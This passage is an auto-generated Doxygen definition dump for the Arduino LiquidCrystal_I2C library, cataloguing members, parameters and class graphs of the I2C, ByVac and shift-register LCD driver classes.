'/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '190'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Pulse the LCD enable line (En). + @discussion Sends a pulse of 1 uS to the Enable pin to execute an command + or write operation. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a60111950cc0a47e6223c22949faa15f3'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'write4bits'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '182'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Writes an 4 bit value to the LCD. + @discussion Writes 4 bits (the least significant) to the LCD control data lines. + @param value[in] Value to write to the LCD + @param more[in] Value to distinguish between command and data. + COMMAND == command, DATA == data. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a0bb3cc7ec414b373ef00e0cc6642ec88'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_Addr'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '193'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a9d59c16cde5c3ffb30a881e9a61c9a32'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_backlightPinMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '194'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a0eaa7c2ac1040a1786960618866c066e'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_backlightStsMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '195'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a3436246b17062357066c636aa598b49d'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_data_pins'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '200'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1aa0a878e97b6111abf1bc8d767a548cf2'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_En'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '197'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1adcc89f14c444ff086f544f33fc18ca4c'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +I2CIO +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_i2cio'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '196'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1ab70fc18e99a70e3293c4f6ba25c37efa'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_Rs'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '199'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a882df32eb9ae0e7a1b74f9a8ee4bffe9'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_Rw'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '198'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + cp-fileline = '39'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 16; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 15; + node-label = 'LiquidCrystal_I2C'; + node-link = { + node-link-id = 'class_liquid_crystal___i2_c'; + }; + node-child = { + child-id = '16'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; + cp-collaborationgraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 18; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 17; + node-label = 'LiquidCrystal_I2C'; + node-link = { + node-link-id = 'class_liquid_crystal___i2_c'; + }; + node-child = { + child-id = '18'; + relation = public-inheritance; + }; /* node-child */ + node-child = { + child-id = '19'; + relation = usage; + edgelabel = <<_EnD_oF_dEf_TeXt_ +_i2cio +_EnD_oF_dEf_TeXt_; + }; /* node-child */ + }; /* node */ + node = { + node-id = 19; + node-label = 'I2CIO'; + node-link = { + node-link-id = 'class_i2_c_i_o'; + }; + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_liquid_crystal___i2_c___by_vac'; + cp-name = 'LiquidCrystal_I2C_ByVac'; + cp-ref = { + ref-type = base; + ref-id = 'class_l_c_d'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c___by_vac_1a34ce9cf919b9f8de59f842a4e94c1abb'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'begin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'cols'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rows'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'charsize'; + sec-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +LCD_5x8DOTS +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C_ByVac.h'; + sec-mem-desc-line = '68'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract LCD initialization and associated HW. + @discussion Initializes the LCD to a given size (col, row). This methods + initializes the LCD, therefore, it MUST be called prior to using any other + method from this class or parent class. + + The begin method can be overloaded if necessary to initialize any HW that + is implemented by a library and can't be done during construction, here + we use the Wire class. + + @param cols[in] the number of columns that the display has + @param rows[in] the number of rows that the display has + @param charsize[in] size of the characters of the LCD: LCD_5x8DOTS or + LCD_5x10DOTS. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c___by_vac_1a29c027cc8bfa78bb8d9ff3124fe83a31'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_I2C_ByVac'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C_ByVac.h'; + sec-mem-desc-line = '50'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For BV4218, + the address can be configured using the address commands (to be implemented). +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c___by_vac_1a9e64cc68ec5df1a0fa421a242239b1b1'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C_ByVac.h'; + sec-mem-desc-line = '82'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA - write to the LCD CGRAM, COMMAND - write a + command to the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c___by_vac_1a9b16e6ce123e2ebe3a3e33b2306e66a7'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C_ByVac.h'; + sec-mem-desc-line = '92'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + + @param value: backlight mode (HIGH|LOW) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c___by_vac_1a53c79a20e8d21d2c3bc9e6d0dfc79cb4'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setContrast'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C_ByVac.h'; + sec-mem-desc-line = '102'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on/off the LCD contrast. + @discussion Switch-on/off the LCD contrast. + + @param value: contrast mode (HIGH|LOW) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c___by_vac_1a7293d7ccd2a1f6305430f57a2023b5ef'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'init'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C_ByVac.h'; + sec-mem-desc-line = '111'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the LCD class + @discussion Initializes the LCD class and IO expansion module. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___i2_c___by_vac_1a6989e196aecac177e2b3b06d83877079'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_Addr'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C_ByVac.h'; + sec-mem-desc-line = '122'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Initialises class private variables + @discussion This is the class single point for initialising private variables. + + @param lcd_Addr[in] I2C address of the IO expansion module. For BV4218, + the address can be configured using the address commands. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C_ByVac.h'; + cp-fileline = '38'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 20; + node-label = 'LiquidCrystal_I2C_ByVac'; + node-link = { + node-link-id = 'class_liquid_crystal___i2_c___by_vac'; + }; + node-child = { + child-id = '21'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 21; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + +_EnD_oF_dEf_TeXt_; + cp-collaborationgraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 22; + node-label = 'LiquidCrystal_I2C_ByVac'; + node-link = { + node-link-id = 'class_liquid_crystal___i2_c___by_vac'; + }; + node-child = { + child-id = '23'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 23; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_liquid_crystal___s_r'; + cp-name = 'LiquidCrystal_SR'; + cp-ref = { + ref-type = base; + ref-id = 'class_l_c_d'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r_1ac3fe0b48f8d4c1c941d82d1333495cfc'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_SR'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srdata'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srclock'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + sec-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +TWO_WIRE +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '108'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract LCD SHIFT REGISTER constructors. + @discussion Defines the pin assignment that the LCD will have. + The constructor does not initialize the LCD. Assuming 1 line 8 pixel high + font. + + @param srdata[in] pin for shiftregister data line. + @param srclock[in] pin for shiftregister clock line. + @param enable[in] optional direct enable pin for the LCD +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r_1a03821351a32db07cb7e42c8c11ce8d47'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '122'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command using the shift register. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @result mode LOW - write to the LCD CGRAM, HIGH - write a command to + the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r_1ad9f3e3f36257984c23fb508973e14535'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '145'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param mode: backlight mode (HIGH|LOW) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r_1a5bfc0dcc1f042bcb59992493a3a7231d'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklightPin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '134'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. + @warning Currently not supported + + @param mode: backlight mode (HIGH|LOW) + @param pol: backlight polarity +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r_1a0f15bf3f5041a91469da5fd75aba5d5e'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'init'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srdata'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'srclock'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lines'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'font'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '155'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the LCD pin allocation + @discussion Initializes the LCD pin allocation and configuration. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___s_r_1a2684630ad69618fab065f53eea543df8'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'shiftIt'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'val'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '161'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract takes care of shifting and the enable pulse +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1acee96e0ef397441bdde73ca921160476'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_enable_pin'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '163'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal___s_r_1a68bffb6befc28cb716fb0c48b50f65fc'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_srClockBit'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h'; + sec-mem-desc-line = '169'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + 